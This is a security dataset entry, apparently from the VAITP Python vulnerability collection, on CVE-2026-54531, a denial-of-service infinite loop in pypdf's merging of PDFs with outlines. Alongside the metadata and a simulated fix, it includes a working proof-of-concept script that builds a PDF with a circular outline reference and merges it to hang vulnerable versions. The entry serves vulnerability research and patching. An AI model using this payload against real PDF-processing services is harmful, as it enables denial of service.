CVE-2026-54531
pypdf: An infinite loop can occur when merging a crafted PDF with outlines.
- CVSS 6.9
- CWE-835
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. Prior to 6.13.0, an attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires merging a file with outlines into a writer. This vulnerability is fixed in 6.13.0.
- CWE
- CWE-835
- CVSS base score
- 6.9
- Published
- 2026-06-22
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade pypdf to version 6.13.0 or later.
Vulnerable code sample
from pypdf import PdfWriter, PdfReader
# This example requires a specially crafted PDF file named 'malicious.pdf'.
# This file must contain a circular reference in its outline structure
# to trigger the vulnerability in pypdf versions prior to the fix.
# The following code assumes such a file exists.
reader = PdfReader("malicious.pdf")
writer = PdfWriter()
# In a vulnerable version, this 'append' operation enters an infinite loop
# while processing the malicious outlines, causing a denial of service.
writer.append(reader)
# The program will hang on the line above and never reach this point.
with open("merged_output.pdf", "wb") as f:
writer.write(f)Patched code sample
import sys
# This example simulates the logic used to fix the infinite loop vulnerability
# in pypdf. The vulnerability occurred when traversing a linked list of PDF
# outline items (bookmarks) that contained a cycle. The fix involves tracking
# visited items to detect such a cycle.
# Suppress RecursionError for this demonstration on some platforms
sys.setrecursionlimit(2000)
class MockPdfOutlineItem:
"""A mock object to represent a PDF outline item (bookmark)."""
def __init__(self, title, obj_id):
self.title = title
# In a real PDF, this would be an IndirectObject reference.
# We use a simple integer ID for this simulation.
self.obj_id = obj_id
self.next = None
def __repr__(self):
return f"Outline(id={self.obj_id}, title='{self.title}')"
def add_outlines_fixed(writer_outlines, new_outlines, visited_ids):
"""
A function that represents the fixed logic.
It traverses the outline items and adds them, but crucially, it keeps track
of visited object IDs to prevent an infinite loop if a cycle is present.
:param writer_outlines: The list where outlines are being collected.
:param new_outlines: The current outline item to process.
:param visited_ids: A set of object IDs that have already been processed.
"""
current = new_outlines
while current is not None:
# THE FIX: Check if the object ID has been seen before.
if current.obj_id in visited_ids:
# If so, a cycle is detected. Stop processing this chain.
print(f"Cycle detected at {current!r}. Halting traversal.")
return
# Mark this object ID as visited.
visited_ids.add(current.obj_id)
print(f"Processing {current!r}")
writer_outlines.append(current)
# In a real implementation, this would also handle child outlines ('/First').
# We simplify to just the '/Next' chain for this example.
# Move to the next item in the linked list.
current = current.next
if __name__ == '__main__':
# 1. Create a series of mock outline items.
# In a malicious PDF, these would be actual PDF objects.
item1 = MockPdfOutlineItem("Chapter 1", 101)
item2 = MockPdfOutlineItem("Chapter 2", 102)
item3 = MockPdfOutlineItem("Appendix", 103) # The malicious item
# 2. Create a structure with a cycle, simulating a crafted PDF.
# The list of outlines should be: Chapter 1 -> Chapter 2 -> Appendix
# But the malicious PDF makes the Appendix link back to Chapter 2.
item1.next = item2
item2.next = item3
item3.next = item2 # This creates the infinite loop: 2 -> 3 -> 2 -> 3 ...
# 3. Demonstrate the fixed logic.
print("Demonstrating the fix for CVE-2026-54531 (simulated):")
final_outline_list = []
visited_object_ids = set()
# The `add_outlines_fixed` function safely processes the list,
# detects the cycle, and terminates gracefully.
add_outlines_fixed(final_outline_list, item1, visited_object_ids)
print("\nProcessing complete. Final outlines collected:")
for outline in final_outline_list:
print(f"- {outline.title}")
# If the vulnerable code were run, it would print:
# Processing Outline(id=101, title='Chapter 1')
# Processing Outline(id=102, title='Chapter 2')
# Processing Outline(id=103, title='Appendix')
# Processing Outline(id=102, title='Chapter 2')
# Processing Outline(id=103, title='Appendix')
# ... and so on, indefinitely.Payload
import io
from pypdf import PdfWriter, PdfReader
from pypdf.generic import DictionaryObject, NameObject
# Part 1: Craft a PDF with a circular outline reference in memory
source_writer = PdfWriter()
source_writer.add_blank_page(width=100, height=100)
# Create two outline items that will form a loop
outline_item_a = DictionaryObject()
outline_item_b = DictionaryObject()
# Add the outline items to the writer to get their indirect object references
ref_a = source_writer.add_object(outline_item_a)
ref_b = source_writer.add_object(outline_item_b)
# Define the circular reference: Item A is the parent of B, and B is a child of A.
# The vulnerability is in how the parent link is processed during a merge.
outline_item_a.update({
NameObject("/Title"): "Level 1",
NameObject("/First"): ref_b,
NameObject("/Last"): ref_b,
})
outline_item_b.update({
NameObject("/Title"): "Level 2 (points back to parent)",
NameObject("/Parent"): ref_a, # This creates the loop
})
# Create the outline root dictionary
outline_root = DictionaryObject()
outline_root.update({
NameObject("/First"): ref_a,
NameObject("/Last"): ref_a,
})
outline_root_ref = source_writer.add_object(outline_root)
# Attach the outlines to the PDF catalog
source_writer.root_object[NameObject("/Outlines")] = outline_root_ref
# Write the malicious PDF to a memory buffer
malicious_buffer = io.BytesIO()
source_writer.write(malicious_buffer)
malicious_buffer.seek(0)
# Part 2: Trigger the vulnerability by attempting to merge the crafted PDF
# This part will cause an infinite loop on pypdf versions < 6.13.0
print("Attempting to merge the crafted PDF...")
vulnerable_merger = PdfWriter()
reader = PdfReader(malicious_buffer)
# The following line will hang indefinitely
vulnerable_merger.append(reader)
# This code will never be reached
print("Merge completed successfully.")
vulnerable_merger.write("output.pdf")
Cite this entry
@misc{vaitp:cve202654531,
title = {{pypdf: An infinite loop can occur when merging a crafted PDF with outlines.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-54531},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54531/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
